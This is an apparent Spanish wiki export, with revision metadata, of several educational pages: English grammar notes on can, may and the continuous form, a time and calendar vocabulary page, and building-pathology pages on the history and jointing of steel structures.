*'''Can''' equivale a un ''poder'' material, una posibilidad de hacer relacionada con cosas materiales, hechos o acciones físicamente realizables.

*'''Can''' expresa la idea de ''poder'' cuando ésta indica la ''posibilidad de hacer algo''. Dicho de otra manera: Esa posibilidad de hacer algo implica '''capacidad'''; por tanto, '''can''' expresa poder en su sentido de capacidad.

*Carece de infinitivo y sólo tiene dos formas:

*'''CAN''' para el presente
*'''COULD''' para el pretérito

CAN también puede ser aplicada de otras maneras, por ejemplo:

*a) I can write in English  (Habilidad)
*b) It can rain             (Posibilidad)
*c) Can you help me?        (Pedido)
*d) You can write in pencil (Permiso)
*e) You can't smoke here    (Prohibicion)


*'''Can not''' es la forma negativa del '''can''', o sea el ''no poder hacer tal o cual cosa''.

*En relación con este verbo debe tener presente lo que sigue:

*1º) Como carece de infinitivo no puede ir nunca precedido por la particula '''to'''.
*2º) No añade '''s''' a la tercera persona del singular del presente de indicativo.
*3º) No se puede usar en la forma continua o progresiva ('''ing''').
*4º) No requiere el auxilio de ''do'' en las formas interrogativas o negativas.


*''Presente:''
*'''I CAN''' (Yo puedo)

*''Futuro:''
*'''I SHALL BE ABLE''' (Yo podré (seré capaz))

*''Pasado:''
*'''I COULD''' (Yo pude, podía)


*'''TO BE ABLE TO'''

*Este verbo defectivo se utiliza en el sentido de ''poder hacer'' fisíco.

*Este verbo '''can''' carece de futuro. De acuerdo con la mentalidad inglesa, uno '''puede''' hacer '''ahora''' lo que quiera. Pero, en cuanto hablamos del futuro, la cosa es dudosa; carecemos de la '''seguridad''' indispensable para poder afirmar que '''podremos'''.

*Y entra en funciones el adjetivo '''able''' (capaz) junto con el verbo '''to be''' (ser), para formar '''To be able to''' (Ser capaz de), con lo cual tenemos, podría decirse, la fórmula para el futuro para aquellos casos en que para el presente utilizamos '''can'''.

*Ejemplos:

*PRESENTE
*'''Yes, I can touch it now''' (Sí, puedo tocarlo ahora)

*FUTURO
*'''Yes, I shall be able to touch it then''' (Sí, podré tocarlo entonces)


*'''El verbo defectivo MAY'''

*Suponga una moneda: '''Can''' es la ''cara'', ese '''poder''' material, esa capacidad de hacer física o intelectual condicionada a lo material. '''May''' es la ''cruz'', es un '''poder''' en el sentido de posibilidad, de permiso ..., un ''poder'' que depende no de nuestra fuerza o de nuestra capacidad de hacer, sino de la ''autorización'' de otro e incluso propia, según las circunstancias.

*Ese verbo '''may''' -fíjese bien que no anteponemos ese '''to''' famoso, necesario a todos los infinitivos, precisamente porque '''may''' carece de infinitivo- sólo tiene dos formas:

*'''MAY''' para el presente
*'''MIGHT''' para el pretérito

*En relación con '''may''' y cualquier otro verbo defectivo conviene tenga presentes las siguientes observaciones:

*a) Carece de infinitivo. En ningún caso lleva la partícula '''to'''.

*b) No añade '''s''' a la tercera persona del singular del presente de indicativo.

*c) No utiliza '''do''' en sus formas interrogativa o negativa.


*Al igual que su ''compañero'' '''can''', '''may''' ha de preceder a un verbo principal en infintivo, pero sin la partícula '''to''', para tener sentido como auxiliar y expresar así la idea de ''permiso'' 

*'''May I go, now?''' (¿Puedo irme, ahora?)
*'''Yes, you may go''' (Sí, puedes irte)
*'''He said that I might go in''' (Dijo que podría entrar)

*Pero, además, esa forma '''may-might''' podemos utilizarla también para otros dos usos, Por ejemplo, para expresar ''posibilidad'':

*'''He may come tomorrow''' (Puede que venga mañana)
*'''He said that he might come tomorrow''' (Dijo que podría venir mañana)


*Por lo que respecta a la forma en pretérito '''might''', podemos emplearla para expresar la idea de ''posibilidad remota'', como en

*'''He might come tomorrow''' (Es posible -pero poco probable- que venga mañana)


*Diferencia fundamental entre '''can''' y '''may''' cuando se trata de expresar la idea de ''posibilidad'' :

*Capacidad
*'''He can come tomorrow'''  (Él puede venir mañana)
*Posibilidad
*'''He may come tomorrow''' (Puede que él venga mañana)

*Con este último ejemplo también podemos expresar ''permiso'' en cuyo caso la traducción sería: Él puede venir mañana.

*En el lenguaje corriente, entre conocidos, los ingleses casi prescinden de esa forma verbal '''may''' en su sentido de ''poder'' (condicionado), de ''permiso''... y usan '''can''' en su lugar dejando el '''may''' para cuando se las dan de personas educadas.

*'''Can I come in, Sir?
*'''You can come in, but you MAY not come in!


{{AutoCat}}</text>
      <sha1>kz7tc7q8t1lwm863k26z3vudeqmah84</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Vocabulario/El tiempo</title>
    <ns>0</ns>
    <id>12362</id>
    <revision>
      <id>429842</id>
      <parentid>426232</parentid>
      <timestamp>2026-08-01T22:04:20Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429842</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1878" sha1="da843mvz9br5hkkqx7zonqw5s2qutdo" xml:space="preserve">== La hora ==

*'''The clock:''' El reloj (de pared)
*'''The watch:''' El reloj (de bolsillo)
*'''The wrist watch:''' El reloj (de muñeca)
*'''The clock:''' El reloj (de torre)

*'''The dial:''' La esfera
*'''The face:''' La cara
*'''The large hand:''' La minutera (manecilla) grande
*'''The minute hand:''' La minutera (manecilla) grande
*'''The small hand:''' La minutera (manecilla) pequeña
*'''The hour hand:''' La minutera (manecilla) pequeña
*'''The seconds hand:''' La segundera

*'''One o'clock:''' La una
*'''Two o'clock:''' Las dos
*'''Five minutes past two:''' Las dos y cinco
*'''Ten minutes past one:''' La una y diez
*'''A quarter past one:''' La una y cuarto
*'''Half past one:''' La una y media
*'''Half past five:''' Las cinco y media
*'''Five minutes to one:''' La una menos cinco
*'''Ten minutes to one:''' La una menos diez
*'''A quarter to one:''' La una menos cuarto
*'''Nine o'clock:''' Las nueve
*'''Twenty minutes to nine:''' Las nueve menos veinte
*'''Twenty minutes past nine:''' Las nueve y veinte

== Los días de la semana - The days of the week ==
*nota:  en los países de habla inglesa, la semana empieza el domingo/''Sunday''.
{| class=&quot;wikitable&quot;
|
!Inglés
!Español
|-
|Sunday
|domingo
|-
|Monday
|lunes
|-
|Tuesday
|martes
|-
|Wednesday
|miércoles
|-
|Thursday
|jueves
|-
|Friday
|viernes
|-
|Saturday
|sábado
|-
|a day
|un día
|-
|a night
|una noche
|-
|week
|semana
|-
|month
| mes
|-
|a year
|un año
|-
|yesterday
|ayer
|-
|today
|hoy
|-
|tomorrow
|mañana
|-
|}

== Los meses - The months ==

{| class=&quot;wikitable&quot;
|-
!Inglés
!Español
|-
|January
|Enero
|-
|February
|Febrero
|-
|March
|Marzo
|-
|April
|Abril
|-
|May
|Mayo
|-
|June
|Junio
|-
|July
|Julio
|-
|August
|Agosto
|-
|September
|Septiembre
|-
|October
|Octubre
|-
|November
|Noviembre
|-
|December
|Diciembre
|-
|}

[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>da843mvz9br5hkkqx7zonqw5s2qutdo</sha1>
    </revision>
    <revision>
      <id>429886</id>
      <parentid>429842</parentid>
      <timestamp>2026-08-01T22:09:03Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429886</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1838" sha1="i4en15zeftkiyn8ibmdw0grrs5ic0ex" xml:space="preserve">== La hora ==

*'''The clock:''' El reloj (de pared)
*'''The watch:''' El reloj (de bolsillo)
*'''The wrist watch:''' El reloj (de muñeca)
*'''The clock:''' El reloj (de torre)

*'''The dial:''' La esfera
*'''The face:''' La cara
*'''The large hand:''' La minutera (manecilla) grande
*'''The minute hand:''' La minutera (manecilla) grande
*'''The small hand:''' La minutera (manecilla) pequeña
*'''The hour hand:''' La minutera (manecilla) pequeña
*'''The seconds hand:''' La segundera

*'''One o'clock:''' La una
*'''Two o'clock:''' Las dos
*'''Five minutes past two:''' Las dos y cinco
*'''Ten minutes past one:''' La una y diez
*'''A quarter past one:''' La una y cuarto
*'''Half past one:''' La una y media
*'''Half past five:''' Las cinco y media
*'''Five minutes to one:''' La una menos cinco
*'''Ten minutes to one:''' La una menos diez
*'''A quarter to one:''' La una menos cuarto
*'''Nine o'clock:''' Las nueve
*'''Twenty minutes to nine:''' Las nueve menos veinte
*'''Twenty minutes past nine:''' Las nueve y veinte

== Los días de la semana - The days of the week ==
*nota:  en los países de habla inglesa, la semana empieza el domingo/''Sunday''.
{| class=&quot;wikitable&quot;
|
!Inglés
!Español
|-
|Sunday
|domingo
|-
|Monday
|lunes
|-
|Tuesday
|martes
|-
|Wednesday
|miércoles
|-
|Thursday
|jueves
|-
|Friday
|viernes
|-
|Saturday
|sábado
|-
|a day
|un día
|-
|a night
|una noche
|-
|week
|semana
|-
|month
| mes
|-
|a year
|un año
|-
|yesterday
|ayer
|-
|today
|hoy
|-
|tomorrow
|mañana
|-
|}

== Los meses - The months ==

{| class=&quot;wikitable&quot;
|-
!Inglés
!Español
|-
|January
|Enero
|-
|February
|Febrero
|-
|March
|Marzo
|-
|April
|Abril
|-
|May
|Mayo
|-
|June
|Junio
|-
|July
|Julio
|-
|August
|Agosto
|-
|September
|Septiembre
|-
|October
|Octubre
|-
|November
|Noviembre
|-
|December
|Diciembre
|-
|}

{{AutoCat}}</text>
      <sha1>i4en15zeftkiyn8ibmdw0grrs5ic0ex</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Forma continua o progresiva</title>
    <ns>0</ns>
    <id>12366</id>
    <revision>
      <id>429813</id>
      <parentid>352569</parentid>
      <timestamp>2026-08-01T22:00:48Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429813</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1394" sha1="sgump8xkgi9e0zwqlu9xa4r325s3nud" xml:space="preserve">===Forma continua o progresiva===

*La terminación '''ing''', utilizada en algunos tiempos verbales, presta a las frases notable precisión.
*En efecto, toda acción implica un comienzo, un desarrollo y un final. La acción es continua en cuanto es acción. Lo que nosotros hacemos al hablar es ''congelar'' mediante una expresión determinada un momento preciso de dicha acción. Consideraciones análogas pueden hacerse si en lugar de una acción se trata de indicar un estado.
*Pues bien, la forma continua o progresiva nos presenta la acción de que se trate acentuando la idea de que la misma '''se esta realizando''', o, también, que ha llegado a una cierta etapa de su desarrollo y todavía no está terminada por entero.

*'''I am turning out the light:''' (''yo estoy '''apagando''' la luz, literalmente, si bien nosotros nos limitamos a decir ''yo apago la luz'').

*Cuando en inglés encuentre una acción terminada en '''ing''', recuerde siempre que se encuentra ante la forma continua de la misma.

They are painting the house.
Están pintando la casa.  
  
I am reading a book about Simón Bolivar.
Estoy leyendo un libro sobre Simón Bolivar.  
  
She is studying English five days a week.
Ella está estudiando inglés cinco días a la semana.  

Estas acciones pueden estar ocurriendo actualmente, pero no necesariamente.


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>sgump8xkgi9e0zwqlu9xa4r325s3nud</sha1>
    </revision>
    <revision>
      <id>429891</id>
      <parentid>429813</parentid>
      <timestamp>2026-08-01T22:09:05Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429891</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1354" sha1="gh6wb8411jls74f552do5c1gx4u85xh" xml:space="preserve">===Forma continua o progresiva===

*La terminación '''ing''', utilizada en algunos tiempos verbales, presta a las frases notable precisión.
*En efecto, toda acción implica un comienzo, un desarrollo y un final. La acción es continua en cuanto es acción. Lo que nosotros hacemos al hablar es ''congelar'' mediante una expresión determinada un momento preciso de dicha acción. Consideraciones análogas pueden hacerse si en lugar de una acción se trata de indicar un estado.
*Pues bien, la forma continua o progresiva nos presenta la acción de que se trate acentuando la idea de que la misma '''se esta realizando''', o, también, que ha llegado a una cierta etapa de su desarrollo y todavía no está terminada por entero.

*'''I am turning out the light:''' (''yo estoy '''apagando''' la luz, literalmente, si bien nosotros nos limitamos a decir ''yo apago la luz'').

*Cuando en inglés encuentre una acción terminada en '''ing''', recuerde siempre que se encuentra ante la forma continua de la misma.

They are painting the house.
Están pintando la casa.  
  
I am reading a book about Simón Bolivar.
Estoy leyendo un libro sobre Simón Bolivar.  
  
She is studying English five days a week.
Ella está estudiando inglés cinco días a la semana.  

Estas acciones pueden estar ocurriendo actualmente, pero no necesariamente.


{{AutoCat}}</text>
      <sha1>gh6wb8411jls74f552do5c1gx4u85xh</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación</title>
    <ns>0</ns>
    <id>12428</id>
    <revision>
      <id>430000</id>
      <parentid>383097</parentid>
      <timestamp>2026-08-02T09:54:58Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>+estante</comment>
      <origin>430000</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2372" sha1="linnb0nuldozog2im1vrn2sw97yn6w9" xml:space="preserve">*[[Patología de la edificación/Conceptos generales|Conceptos generales]][[Imagen:00%.svg]]

*[[Patología de la edificación/Cimentaciones|Cimentaciones]][[Imagen:75%.png]]
*[[Patología de la edificación/Estructuras de fábrica|Estructuras de fábrica / mampostería]][[Imagen:50%.png]]
*[[Patología de la edificación/Entramados de madera|Entramados de madera]][[Imagen:50%.png]]
*[[Patología de la edificación/Estructuras de hormigón|Estructuras de hormigón]][[Imagen:75%.png]]
*[[Patología de la edificación/Estructuras metálicas|Estructuras metálicas]][[Imagen:100 percent.svg]]
*[[Patología de la edificación/Muros de sótano|Muros de sótano]][[Imagen:00%.svg]]
*[[Patología de la edificación/Fachadas|Fachadas]][[Imagen:50%.png]]
**[[Patología de la edificación/Fachadas/Cerramientos|Cerramientos exteriores]][[Imagen:00%.svg]]
**[[Patología de la edificación/Fachadas/Revestimientos|Revestimientos exteriores]][[Imagen:75%.png]]
**[[Patología de la edificación/Fachadas/Paramentos|Paramentos exteriores]][[Imagen:00%.svg]]
**[[Patología de la edificación/Fachadas/Carpintería|Carpintería exterior]][[Imagen:00%.svg]]
*[[Patología de la edificación/Cubiertas inclinadas|Cubiertas inclinadas]][[Imagen:75%.png]]
*[[Patología de la edificación/Cubiertas planas|Cubiertas planas]][[Imagen:75%.png]]
*[[Patología de la edificación/Acabados y revestimientos interiores|Acabados y revestimientos interiores]][[Imagen:75%.png]]
*[[Patología de la edificación/Instalaciones hidráulicas|Instalaciones hidráulicas]][[Imagen:75%.png]]

**[[Patología de la edificación/Instalaciones hidráulicas/Fontanería|Fontanería]][[Imagen:50%.png]]
**[[Patología de la edificación/Instalaciones hidráulicas/Saneamiento|Saneamiento]][[Imagen:50%.png]]
*[[Patología de la edificación/Instalaciones eléctricas|Instalaciones eléctricas]][[Imagen:00%.svg]]
**[[Patología de la edificación/Instalaciones eléctricas/Electricidad|Electricidad]][[Imagen:00%.svg]]
**[[Patología de la edificación/Instalaciones eléctricas/Telecomunicación|Telecomunicación]][[Imagen:00%.svg]]
*[[Patología de la edificación/Apeos|Apeos y otras medidas de seguridad]][[Imagen:75%.png]]
*[[Patología de la edificación/Andamios]][[Imagen:75%.png]]


{{Estantes|Ingeniería Civil}}
[[Categoría:Ingeniería Civil]]
[[Categoría:Patología de la edificación]]</text>
      <sha1>linnb0nuldozog2im1vrn2sw97yn6w9</sha1>
    </revision>
    <revision>
      <id>430010</id>
      <parentid>430000</parentid>
      <timestamp>2026-08-02T10:05:15Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Reorganizando libro</comment>
      <origin>430010</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="756" sha1="m4d7k3846h13e7yvqi4mmcrrklakrcz" xml:space="preserve">{{+Portada/c
|nombre      =Patología de la edificación
|título      =Patología de la edificación
|subtítulo   =en Wikilibros

|sección1    =Conceptos generales
|sección2    =Cubiertas inclinadas
|sección3    =Acabados y revestimientos
|sección4    =Apeos
|sección5    =Cimentaciones
|sección6    =Cubiertas planas
|sección7    =Entramados de madera
|sección8    =Estructuras de fábrica
|sección9    =Estructuras de hormigón
|sección10   =Estructuras metálicas
|sección11   =Muros de sótano
|sección12   =Fachadas
|sección13   =Instalaciones hidráulicas
|sección14   =Instalaciones eléctricas
|sección15   =Andamios
}}


{{Estantes|Ingeniería Civil}}
[[Categoría:Ingeniería Civil]]
[[Categoría:Patología de la edificación]]</text>
      <sha1>m4d7k3846h13e7yvqi4mmcrrklakrcz</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de hormigón</title>
    <ns>0</ns>
    <id>12432</id>
    <revision>
      <id>430112</id>
      <parentid>417543</parentid>
      <timestamp>2026-08-02T11:41:08Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>actualización</comment>
      <origin>430112</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="898" sha1="7ewuk0ldzke0lkxpsrda06sj6rlywy5" xml:space="preserve">Estructuras de hormigón

*[[Patología de la edificación/Estructuras de hormigón/Problemática|Problemática]]
*[[Patología de la edificación/Estructuras de hormigón/Lesiones|Lesiones]]
*[[Patología de la edificación/Estructuras de hormigón/Causas funcionales y materiales del deterioro|Causas funcionales]]
*[[Patología de la edificación/Estructuras de hormigón/Causas Operativas|Causas Operativas]]
*[[Patología de la edificación/Estructuras de hormigón/Inspección y control|Inspección y control]]
*[[Patología de la edificación/Estructuras de hormigón/Reparación|Reparación]]
*[[Patología de la edificación/Estructuras de hormigón/Prevención|Prevención]]
*[[Patología de la edificación/Estructuras de hormigón/Forjados/Prevención|Forjados]]
*[[Patología de la edificación/Estructuras de hormigón/Bibliografía|Bibliografía]]

&lt;noinclude&gt;{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>7ewuk0ldzke0lkxpsrda06sj6rlywy5</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Conceptos generales</title>
    <ns>0</ns>
    <id>12442</id>
    <revision>
      <id>430002</id>
      <parentid>178454</parentid>
      <timestamp>2026-08-02T09:55:31Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430002</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="714" sha1="1g5p7jc5jczse6zx25gjrg2u079lcg7" xml:space="preserve">*[[Patología de la edificación/Conceptos generales/Patología de la edificación|Patología de la edificación]][[Imagen:00%.svg]]
*[[Patología de la edificación/Conceptos generales/Definiciones|Definiciones]][[Imagen:00%.svg]]
*[[Patología de la edificación/Conceptos generales/Tipología de las lesiones|Tipología de las lesiones]][[Imagen:00%.svg]]
*[[Patología de la edificación/Conceptos generales/Tipología de las causas|Tipología de las causas]][[Imagen:00%.svg]]
*[[Patología de la edificación/Conceptos generales/El estudio patológico|El estudio patológico]][[Imagen:00%.svg]]
*[[Patología de la edificación/Conceptos generales/Bibliografía|Bibliografía]][[Imagen:00%.svg]]

{{AutoCat}}</text>
      <sha1>1g5p7jc5jczse6zx25gjrg2u079lcg7</sha1>
    </revision>
    <revision>
      <id>430009</id>
      <parentid>430002</parentid>
      <timestamp>2026-08-02T09:58:49Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430009</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="736" sha1="0sltw9bddgt8kwukl5s2078kx70xutl" xml:space="preserve">*[[Patología de la edificación/Conceptos generales/Patología de la edificación|Patología de la edificación]][[Imagen:00%.svg]]
*[[Patología de la edificación/Conceptos generales/Definiciones|Definiciones]][[Imagen:00%.svg]]
*[[Patología de la edificación/Conceptos generales/Tipología de las lesiones|Tipología de las lesiones]][[Imagen:00%.svg]]
*[[Patología de la edificación/Conceptos generales/Tipología de las causas|Tipología de las causas]][[Imagen:00%.svg]]
*[[Patología de la edificación/Conceptos generales/El estudio patológico|El estudio patológico]][[Imagen:00%.svg]]
*[[Patología de la edificación/Conceptos generales/Bibliografía|Bibliografía]][[Imagen:00%.svg]]
&lt;noinclude&gt;{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>0sltw9bddgt8kwukl5s2078kx70xutl</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras metálicas/Acero/Problemática</title>
    <ns>0</ns>
    <id>12447</id>
    <revision>
      <id>430084</id>
      <parentid>377073</parentid>
      <timestamp>2026-08-02T11:08:33Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430084</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="25051" sha1="8tm70f3847rz0xq2pojqa06wqwm3bk6" xml:space="preserve">Aunque desde la antigüedad se empleó esporádicamente el hierro para algunos elementos estructurales, no puede hablarse de estructuras metálicas hasta finales del S.XVIII, cuando se difunde el empleo de elementos de fundición e, incluso, estructuras totalmente prefabricadas de este material&lt;ref&gt;La primera de ellas, el puente sobre el río Severn, en Coalbrookdale, realizado por Abraham Darby III, es de 1779. El primer edificio con estructura enteramente metálica, la fábrica textil de Salford, en Manchester, se construyó por Boulton y Watt en 1801. En España la primera estructura de hierro es el puente de Triana, en Sevilla, y en Madrid los mercados municipales de La Cebada y de los Mostenses (1867)&lt;/ref&gt;, aun con ciertos problemas de fragilidad. Después de los elementos de fundición se empezaron a utilizar los de hierro dulce, formándose los elementos estructurales por composición de formas simples unidas mediante pasadores remachados, aunque el hierro dulce se había utilizado esporádica e intuitivamente como elemento de refuerzo desde la antigüedad. A mediados del S. XIX empezaron a utilizarse los forjados metálicos en edificios de viviendas, especialmente en locales húmedos y sobre sótanos, aunque no se generalizan hasta las primeras décadas del S.XX. A finales del S. XIX el acero reemplazó al hierro dulce, aunque todavía hasta los primeros años del S. XX coexistió con los elementos de fundición, especialmente utilizado en columnas. A lo largo de todo este tiempo ha ido cambiando la composición y características de los materiales, con gran influencia en su comportamiento mecánico y posibilidades de interconexión, pasando de las primeras uniones remachadas o roblonadas, típicas de la calderería, a las uniones soldadas y, actualmente a las atornilladas&lt;ref&gt;Para un resumen de la evolución histórica de las estructuras de hierro ver Strike (1991): ''Los pioneros de las estructuras de hierro 1690~1840'' y ''La evolución de las estructuras de acero 1870~1914'' (Cap. I y V de DE LA CONSTRUCCIÓN A LOS PROYECTOS. Ed. Reverté, Barcelona 2004, pp. 21~40 y 81~90), Elliot (1992): ''Iron and Steel'' (Cap. 4 de THE DEVELOPMENT OF MATERIALS AND SYSTEMS FOR BUILDINGS. Ed. M.I.T., Massachussets 1992, pp. 67~110), Yeomani (1997): ''Steel and concrete floors y The steel frame'' (Cap. 3 y 4 de CONSTRUCTION SINCE 1900: MATERIALS. Ed. B.T. Batsford Ltd. London 1997, pp. 64~80 y 81~101), AA.VV. (1999): ''Realizaciones notables'' (Aptdo. 2.1.2 de GUIA VERITAS DE LA CONSTRUCCIÓN. TOMO I. Ed. Bureau Veritas)&lt;/ref&gt;.


&lt;references/&gt;

                                                             
[[Archivo:Bridges_27.png#file|480px|thumb|right|Puente de Coalbrookdale]]


== '''Introducción''' ==
	
Aunque las estructuras metálicas tienen una reciente implantación apoyada en una fuerte tecnología, también son susceptibles de sufrir [[:m:b:es:Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_met%C3%A1licas/Acero/Lesiones|lesiones]] que ponen en peligro tanto la integridad constructiva como la seguridad del edificio.
Estos procesos patológicos pueden derivarse de [[:m:b:es:Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_met%C3%A1licas/Acero/Causas_materiales_y_mecanismos_de_deterioro|causas]] propias de la naturaleza del material, especialmente su debilidad al ataque químico ambiental y la solución constructiva adoptada en proyecto y ejecución.
Debido a este motivo, es necesario analizar las patologías sirviéndose de las [[:m:b:es:Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_met%C3%A1licas/Acero/Inspecci%C3%B3n_y_control|técnicas de inspección]]adecuadas.
Sólo de esta manera podrá intervenirse correctamente para realizar su [[:m:b:es:Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_met%C3%A1licas/Acero/Reparaci%C3%B3n|reparación]], siendo igualmente necesario establecer las [[:m:b:es:Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_met%C3%A1licas/Acero/Prevenci%C3%B3n|medidas de prevención]] pertinentes.
:* '''Ventajas'''
Las estructuras de acero se emplean en la actualidad debido a las dos principales ventajas que ofrecen:

1. Su '''gran tenacidad''', que admite cualquier tipo de esfuerzo, en especial a tracción, empleando una reducida sección.

2. Su '''ligereza''', que permite resolver estructuras de grandes luces y alturas.

:* '''Acero: tipos y técnicas de conformado'''

Desde que se empleó el acero en construcción por primera vez de manera significativa en el puente de Viena sobre el Danubio en 1850, hasta nuestros días se han producido numerosos avances.
 
Los productos de acero según el '''proceso de fabricación''' pueden ser:

-'''Conformados en caliente''': incluyen a los perfiles laminados, que son los de mayor aplicación en estructuras metálicas.

-'''Conformados en frío''': aumentan el límite elástico y la resistencia a tracción, mientras que se reduce el alargamiento a rotura. Son perfiles en los que se evitará el soldeo.

-'''Obtenidos por moldeo''': su estructura es colada, no poseen propiedades direccionales.

Lo más destacado son las mejoras introducidas en las técnicas de obtención del acero logrando incrementar su resistencia y mejorando en gran medida los procedimientos de [[:m:b:es:Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_met%C3%A1licas/Acero/Inspecci%C3%B3n_y_control|inspección]].Asimismo, cabe señalar la obtención de aceros resistentes a la corrosión o aceros patinables (CORTEN), que conservando el resto de sus propiedades características, presentan una sensibilidad menor frente a los agentes atmosféricos.

Los materiales que constituyen la estructura metálica pueden considerarse de dos tipos:

:* '''Los materiales base'''

Tienen una función resistente. Se emplean perfiles, chapas; y los tubos, bolas y tetraedros en estructuras especiales. Generalmente son de acero, y a veces pueden utilizarse aleaciones ligeras de base aluminio.

:* '''Los materiales de uniones'''

Transmiten y soportan esfuerzos. Se emplean materiales análogos al metal base para evitar fenómenos de corrosión.

== '''Sistemas constructivos''' ==


=== '''Elementos constructivos''' ===

Debido a las características básicas del acero, su uso se extiende a estructuras compuestas por elementos lineales, sustituyendo a las antiguas estructuras de madera.

Según explican ''Juan Monjó Carrió y Luis Maldonado Ramos'' en su libro [[:m:b:es:Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_met%C3%A1licas/Acero/Problem%C3%A1tica#Bibliograf.C3.ADa''Patología|y técnicas de intervención en estructuras arquitectónicas'']], los elementos constructivos más representativos de una estructura metálica son los siguientes:
[[Archivo:imagen3ivan.jpg|thumb|]]
'''Soportes'''
 
Están constituidos por perfiles laminados simples, combinaciones de perfiles o palastros.
En caso de cargas pequeñas, también se emplean perfiles tubulares. 
Pueden sufrir procesos patológicos debido al material o por los esfuerzos experimentados.

'''Vigas y viguetas'''
 
Están formadas por perfiles laminados en T ó I que optimizan la capacidad de sus alas. 
Se exponen a procesos patológicos químicos debido a su disposición horizontal y el contacto con materiales alcalinos, (especialmente en el caso de viguetas de forjado).

'''Formas trianguladas'''
 
Mejoran el rendimiento del material base junto a un aligeramiento del conjunto, a partir de la triangulación lograda mediante barras traccionadas y comprimidas. Están compuestas por combinación de perfiles laminados para todas las piezas o sólo para las comprimidas, mientras que las sometidas a tracción son barras y cables.

Suelen presentar complicaciones en las uniones que han de trabajar en articulación, pero que han sido sustituidas por un empotramiento para facilitar su ejecución. Los procesos patológicos se concentran en los nudos: aparición de esfuerzos, corrosión por aireación diferencial o de par galvánico. En las barras puede producirse corrosión por condensación superficial.

'''Tirantes'''
 
Son elementos de mayor antigüedad aplicados en arcos, y resueltos por barras diversas (fundición, acero templado…), que hoy en día también emplean perfiles laminados, sus combinaciones o cables rígidos y flexibles. Debido a su estado de tracción, no presentan problemas mecánicos en su zona central, salvo error de cálculo. Por el contrario, las uniones al resto de la estructura se pueden ver afectadas por diversos procesos químicos. 

El conocimiento de estos elementos constructivos es necesario para determinar la técnica empleada en su [[:m:b:es:Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_met%C3%A1licas/Acero/Prevenci%C3%B3n|prevención]].

=== Sistemas y técnicas de unión ===
 [[Archivo:imagen1ivan.jpg|thumb|]]
 [[Archivo:imagen2ivan.jpg|thumb|]]
Los elementos empleados en estructuras metálicas están sometidos a controles de calidad que garantizan su idoneidad, de modo que los procesos patológicos surgirán sobre todo en las uniones efectuadas en el montaje. Éstas deberán someterse a [[:m:b:es:Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_met%C3%A1licas/Acero/Inspecci%C3%B3n_y_control|inspección]]para poder establecer la [[:m:b:es:Patolog%C3%ADa_de_la_edificaci%C3%B3n/Estructuras_met%C3%A1licas/Acero/Reparaci%C3%B3n|reparación]]necesaria.

'''Roblonado'''

El roblonado es una técnica en desuso pero que debido a su antigüedad, puede encontrarse en rehabilitaciones de edificios. Se basa en la resistencia a esfuerzo cortante que adquiere el roblón al introducirle las dos piezas que une cuando intentan moverse en sentido contrario. 
Se requiere un dimensionado correcto de las secciones necesarias en roblón y chapa a unir, y el número de roblones requeridos, pues con el tiempo y según la variación de los esfuerzos, se puede alcanzar una holgura en las uniones, provocando fatiga del roblonado y deformaciones generales en la estructura. 

'''Atornillado'''

Funciona igual que el roblonado pero además posibilita la resolución de uniones practicables, lo cual facilita el montaje y desmontaje. Se emplean tornillos y tuercas de apriete.

